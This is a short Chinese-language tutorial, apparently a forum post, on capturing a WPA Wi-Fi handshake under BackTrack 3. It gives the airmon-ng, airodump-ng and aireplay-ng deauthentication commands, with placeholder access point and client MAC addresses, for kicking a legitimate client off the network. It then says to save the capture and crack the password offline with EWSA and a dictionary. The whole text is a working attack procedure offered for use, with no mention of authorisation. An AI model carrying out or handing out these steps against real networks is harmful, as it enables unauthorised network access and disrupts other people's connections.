抓 WPA 握手包的方法：1找客户端 2. 用 -0 命令，显示 WPA handshake 就成功抓到握手包了！一步一步来，首先启动 BT3点 打开一个窗口。输入：ifconfig -a 网卡端口为 wlan0airodump-ng -w 123 -encrypt wpa wlan0这个命令只显示 WPA 的，下面为客户端，图中的 TP-LINK 42在 1 频道有客户端在。记下 AP 的 MAC 和 合法客户端的 MAC；（当然也可以用 spoonwpa 图形界面，寻找客户端，就是有的） 。airmon-ng start wlan0 1加载网卡监听在 1 频道airodump-ng -w 123 -c 1 wlan0抓包，存为文件名为 123aireplay-ng -0 10 -a 00xxxxxxxx42 -c 00xxxxxxxxxx wlan0前面为 AP 的 MAC，后面的为 合法客户端的 MAC。不断重复-0 命令，直到在最上端的左上角出现 WPA handshake 为止。点桌面上的 ，里面有 123.cap 文件，就是握手包，复制，再点找一个储存介质，就是硬盘，粘贴到根目录下。一定要粘贴到硬盘，不然重启，握手包就不见了。用 spoonwpa 抓包在 /usr/local/bin/wifispoonfeeder/spoonwpa/tmp 路径下。下面就可以在 win 下用 EWSA 挂字典破解了！